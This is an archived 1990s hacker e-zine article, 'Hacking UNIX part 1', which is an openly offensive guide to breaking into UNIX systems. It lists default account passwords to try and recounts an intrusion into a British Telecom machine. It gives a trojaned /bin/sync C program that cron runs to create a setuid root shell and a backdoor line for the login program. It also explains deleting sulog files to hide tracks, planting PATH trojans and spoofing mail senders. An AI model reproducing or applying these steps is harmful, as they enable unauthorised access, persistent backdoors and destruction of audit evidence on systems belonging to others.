home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / a_m / hnet01.04 < prev    next >
Encoding:
Text File  |  2003-06-11  |  13.4 KB  |  330 lines

  1.                 H-NET H-NET H-NET H-NET H-NET H-NET H-NET H 
  2.                 N                                         N 
  3.                 E          ** H-Net Magazine **           E 
  4.                 T                                         T 
  5.                 H   Volume One, Issue 1, File #04 of 20   H 
  6.                 N                                         N 
  7.                 E     Hacking UNIX, part 1, by WEAZLE.    E  
  8.                 T                                         T 
  9.                 H-NET H-NET H-NET H-NET H-NET H-NET H-NET H 
  10.  
  11.  
  12. UNIX HACKING - PART 1. 
  13. ---------------------- 
  14.  
  15. You've got the 'login:' prompt - what now? 
  16.  
  17. try the following id's and passwords:- 
  18.  
  19.                 ID              Password 
  20.                 --------        -------- 
  21.                 root            root 
  22.                 sysman          sysman 
  23.                 admin           admin 
  24.                 sysadmin        sysadmin (or admin) 
  25.                 unix            unix 
  26.                 uucp            uucp (or comms) 
  27.                 rje             rje 
  28.                 guest           guest 
  29.                 demo            demo 
  30.                 daemon          daemon 
  31.                 sysbin          sysbin (or bin) 
  32.                 bin             bin 
  33.                 games           games (or player sometimes) 
  34.  
  35. Some of these id's might not even need a password - in that case you will go 
  36. striaght through to the '$' prompt when you have entered the ID!! 
  37.  
  38. Some of you might be thinking that the above accounts would be the most likely 
  39. ones for any hackers to try and therefore the system manager of a UNIX system 
  40. would put a password on such accounts or at least change passwords to something 
  41. a little less obvious - well I would think that too - but it is suprising what 
  42. percentage of systems you can get into by trying out the above accounts.  I  
  43. don't know why the System Managers havent done anything about these accounts,  
  44. it is probably the old British attitude of 'it will never happen to our system' 
  45. - it can and probably will!  And dont think that it is only the small companies 
  46. that dont do very much about the security of there UNIX systems - I logged onto 
  47. a BT Unix computer (on a freephone/toll-free number I might add) with no id's 
  48. or passwords so I just started using some of the ones listed above - none of 
  49. the ones that I used worked - I was just about to give up when I thought that I 
  50. would try one last ID and Password before disconnecting and throwing the number 
  51. away. I didnt think for one moment that the ID that I was going to try would 
  52. work, after all it was one of British Telecoms UNIX machines - and of course 
  53. they would be really strict about security and things like that, but I will go 
  54. ahead and try it anyway... :- 
  55.  
  56. login:sysman 
  57. password:sysman 
  58.  
  59.  
  60. I nearly fell off my chair when I got through on this account and to the '$'  
  61. UNIX prompt, how could British Telecoms computer security be so lax? Who cares, 
  62.  I was in! - and there was no password on the SU command!!! There is a list of
  63. default passwords in this issue and continuous updates on Hackernet BBS. 
  64.  
  65.  
  66. If none of these accounts let you in then try obvious things like first names  
  67. (paul,john,steve,etc.), try using the id 'who' which on some systems will at  
  68. the 'login:' prompt tell you who else is on (useful clues for hackers!) or see 
  69.  if there are any clues on the logon screen eg "Welcome to British Telecoms  
  70. RACE computer" you would try things like race,race or btr/engineer, est. ok? 
  71.  
  72. When you have logged onto a UNIX system, you should always do the following: 
  73.  
  74. $ who -u        
  75. $ ps -ef        
  76. $ ps -u root  
  77.  
  78. This prints out who is on, who is active, what is going on and what they are 
  79.  doing at the moment, everything in the background, and so on.    
  80.  
  81. If you are calling the UNIX system for the first time you should enter the  
  82. following :- 
  83.  
  84. $ grep :: /etc/passwd 
  85.  
  86. This command will output to your screen parts of the 'passwd' userlist.  The  
  87. ones that we are interested in are the ones like this :- 
  88.  
  89. paul::3323:2343:race user:/usr/paul 
  90.  
  91. i.e. the ones with '::' after the username (paul in this case).  What this  
  92. means is that the user paul does not need a password to log on - funnily enough 
  93.  it is usually such accounts that have the highest level of access! 
  94.  
  95. Also do this: 
  96.  
  97. $ find / -name "*log*" -print    
  98.  
  99. This lists out all the files with the name 'log' in it. If you do find a  
  100. process that is logging what you do, or an odd log file, change it as soon as 
  101.  you can. If you think someone may be looking at you and you don't want to  
  102. leave (Useful for school/college or university computers) then go into   
  103. something that allows shell breaks (VI for example), or use redirection to your 
  104.  advantage:  
  105.  
  106. $ cat < /etc/passwd    
  107.  
  108. That puts 'cat' on the ps, not 'cat /etc/passwd'. If you're running a setuid 
  109.  process, and don't want it to show up on a ps (Not a very nice thing to have  
  110. happen), then: 
  111.  
  112. $ super_shell        
  113. # exec sh    
  114. (Runs the setuid shell (super_shell) and puts something 'over' it. You may also 
  115. want to run 'sh' again if you are nervous, because if you break out of an  
  116. exec'ed process, you die. Neat, huh?  
  117.  
  118. Improving your id:    
  119.  
  120. Firstly, you should issue the command  
  121.  
  122. $id 
  123.  
  124. The system will then tell you your uid and euid. This is useful for checking on 
  125. setuid programs to see if you have root euid privs.  
  126.  
  127. Also, do this:        
  128. $ find / -perm -4000 -exec /bin/ls -lad {} ";"    
  129.  
  130. Yes, this finds and does an extended list of all the files that have the setuid 
  131. bit on them, like /bin/login, /bin/passwd, and so on.  
  132.  
  133. If any of them look nonstandard, play with them, you never can tell what a ^|  
  134. will do to them sometimes.  Also, if any are writeable and executable, copy sh 
  135. over them, and you'll have a setuid root shell. Just be sure to copy whatever  
  136. was there back, or else your stay might not last very much longer.  
  137.  
  138. What, you have the 'bin' passwd? Well, game over. You have control of the 
  139. system. Everything in the bin directory is owned by bin (with the exception of  
  140. a few things), so you can modify them at will. Since cron executes a few 
  141. programs as root every once in a while, such as /bin/sync, try this:- 
  142.  
  143.        main() 
  144.           { 
  145.           if (getuid()==0 || getuid()==0)          
  146.           {                     
  147.           system("cp /bin/sh /tmp/sroot"); 
  148.           system("chmod 4777 /tmp/sroot");   
  149.           }                
  150.           sync();           
  151.           } 
  152.  
  153. ...continued from previous page...  
  154.  
  155. $ cc file.c        
  156. $ cp /bin/sync /tmp/sync.old        
  157. $ mv a.out /bin/sync        
  158. $ rm file.c    
  159.  
  160. Now, as soon as cron runs /bin/sync, you'll have a setuid shell in /tmp/sroot. 
  161. Feel free to hide it. The 'at' & 'cron' commands l ook at the 'at' dir.  
  162. Usually /usr/spool/cron/atjobs. If you can  run 'at' (check by typing 'at'),  
  163. and 'lasttimedone' is writable, then submit a blank 'at' job, edit  
  164. 'lastimedone' to do what you want it to do, and move lasttimedone over your  
  165. entry (like 88.00.00.00). Then the commands you put in lasttimedone will be  
  166. ran as that file's owner. Cron: in /usr/spool/cron/cronjobs, there are a list 
  167. of  people running cron jobs.  Cat rot's, and see if he runs any of the  
  168. programs owned by you (Without doing a su xxx -c "xxx"). For that matter, check 
  169. all the crons. If you can take one system login, you should be able to get  
  170. the rest, in time. 
  171.  
  172. The disk files.    
  173.  
  174. These are rather odd. If you have read permission on the disks in the '/dev'  
  175. directory then you can read any file on the system.  
  176.  
  177. All you have to do is find it in there somewhere. If the disk is writeable,  
  178. if you use /etc/fsbd, you can modify any file on the system into whatever  
  179. you want, such as  by changing the permissions on '/bin/sh' to 4555. Since this 
  180. is pretty difficult to understand I won't bother with it any more.  
  181.  
  182. Trivial su.    
  183.  
  184. You know with su you can log into anyone elses account if you know their 
  185. passwords or if you're root. There are still a number of system 5's that have 
  186. uid 0, null passwd, rsh accounts on them. Just be sure to remove your entry in 
  187. the '/usr/adm/' directory - the log file is called 'sulog' and can be removed 
  188.  with the following command if you havent mastered the UNIX editor 'VI' yet :- 
  189.  
  190. $ rm /usr/adm/sulog 
  191.  
  192. or sometimes:- 
  193.  
  194. $ rm /usr/admin/sulog  
  195.  
  196.  
  197.  
  198. but one command that I always use on any new system conquest is :- 
  199.  
  200. $ find / -name "sulog" -print 
  201.  
  202. This will find all the files called 'sulog' - as some system managers have been 
  203. known to have two sulogs running at the same time, if you delete or edit the 
  204. one in the usual directory and then they would have a backup copy in another 
  205. directory as well. 
  206.  
  207. Trojan horses?  On unix?    
  208.  
  209. Yes, but because of the shell variable PATH, we are generally out of luck, 
  210. because it usually searches the '/bin' and '/usr/bin' directories first. 
  211.  
  212. However, if the first field is a colon, files in the present  directory are  
  213. searched first. Which means if you put a modfied version of 'ls' there..... If 
  214. this isn't the case, you will have to try something more blatant, like putting 
  215. it in a game. If you have a system login, you may be able to get something  
  216. done like that. See cron. 
  217.  
  218. Taking over 
  219.  
  220. Once you have root privs, you should read all the mail in the '/usr/mail' 
  221. directory just to be sure that nothing interesting is in there, or anyone is 
  222. passing another systems passwd about even! You may want to add another entry to 
  223. the passwd file, but that's relatively dangerous to the life of your machine. 
  224. Be sure not to have anything out of the ordinary as the entry (i.e., No uid 0). 
  225.  
  226. Get a copy of the login program (if at all possible) of that same version of  
  227. unix, and modify it a bit. On system 5, here's a modification pretty common in 
  228. the routine to check correct passwds, on the line before the actual pw check 
  229. put a  
  230.  
  231. if (!(strcmp(pswd,"h-net"))) return(1);   
  232.  
  233. to check for your 'backdoor' password "h-net", enabling you to log on as any  
  234. valid user that isn't uid 0 (On system 5). 
  235.  
  236. Other UNIX tricks 
  237.  
  238. Have you ever been on a system that you couldn't get 'root' status or read the 
  239. Systems/L.sys file?  Well, this is a cheap way to overcome it:- 
  240.  
  241. $ uuname  
  242.  
  243. will list all machines reachable by your unix, then, assuming that they aren't 
  244. direct, and that the modem is available:- 
  245.  
  246. $ cu -d host.you.want             
  247.  
  248. [or] 
  249.  
  250. $ uucico -x99 -r1 -shost.you.want    
  251.  
  252. Both will do about the same for us.  This will fill your screen with lots of 
  253. trivial information, but will eventually get to the stage of printing the 
  254. telephone number to the other system.   
  255.  
  256. '-d' enables the cu diagnostics, '-x99' enables the uucico highest debug, and 
  257. '-R1' says 'uucp master'. A year or two ago, almost every system had their uucp 
  258. password set to the same thing as their nuucp passwd (Thanks to the Systems 
  259. file), so it was a breeze getting in. Even nowadays, some places do it.. you 
  260. never can tell.     
  261.  
  262.  
  263.  
  264. Uucp 
  265.  
  266. Uucico and uux are limited by the Permissions file, and in most cases, that 
  267. means means you can't do anything except get & take from the uucppublic 
  268. directories. Then again, if the permission/L.cmd is blank, you should be able  
  269. to take what files you want.  
  270.  
  271. Sending mail 
  272.  
  273. Sometimes, the mail program checks only the shell variable LOGNAME, so change 
  274. it, export it, and you may be able to send mail as anyone. Mainly early system 
  275. five's will let you do it thus :- 
  276.                                  
  277. $ LOGNAME="root";export LOGNAME  
  278.  
  279. Printing out all the files on the system 
  280.  
  281. Useful if you're interested in the filenames:-  
  282.  
  283. $ find / -print >file_list&     
  284.  
  285. And then do a 'grep text file_list' to find any files with 'text' in their 
  286. names. Like grep [.]c file_list, grep host file_list....    
  287.  
  288. Printing out all restricted files 
  289.  
  290. Useful when you have root privileges. As a normal user, do :- 
  291.  
  292. $ find / -print >/dev/null&     
  293.  
  294. This prints out all non-accessable directories, so become root and see what 
  295. they want to hide from you! 
  296.  
  297. UNIX Humour    
  298.  
  299. On a system 5, do this :-  
  300.  
  301. $ cat "food in cans"    
  302.  
  303. or :- 
  304.  
  305. $ banner "H-Net Lives!" 
  306.  
  307. Hehehe...... 
  308.  
  309. Password hacking -Salt 
  310.  
  311. In a standard /etc/passwd file, passwords are 13 characters long. This is a 11 
  312. char encrypted passwd and a 2 char encryption modifier (salt), which is used to 
  313. change the DES (data encryption standard) algorithm in one of 4096 ways. Which 
  314. means that there is no decent way to go and reverse hack it. Yet. On normal 
  315. system 5 UNIX systems passwords are supposed to be 6-8 characters long and have 
  316. both numeric and alphabetic characters in them. Which makes a dictionary hacker 
  317. pretty worthless. However if a user keeps insisting that his password is going 
  318. to be 'h-net' usually the system will comply (Depending on version). I have yet
  319. to try it, but having the hacker try the normal entry, and then the entry  
  320. terminated by [0-9] is said to have remarkable results, if you don't mind the 
  321. 10-fold increase in time. 
  322.  
  323.         Written by the Weazle, (Hackers Hideout on Hackernet BBS) 
  324.  
  325. =============================================================================== 
  326. [Hackernet BBS,LEEDS,UK(0532)557739, 24hrs. Home of H-Net Hacking magazine] 
  327.  
  328. Downloaded From P-80 International Information Systems 304-744-2253
  329.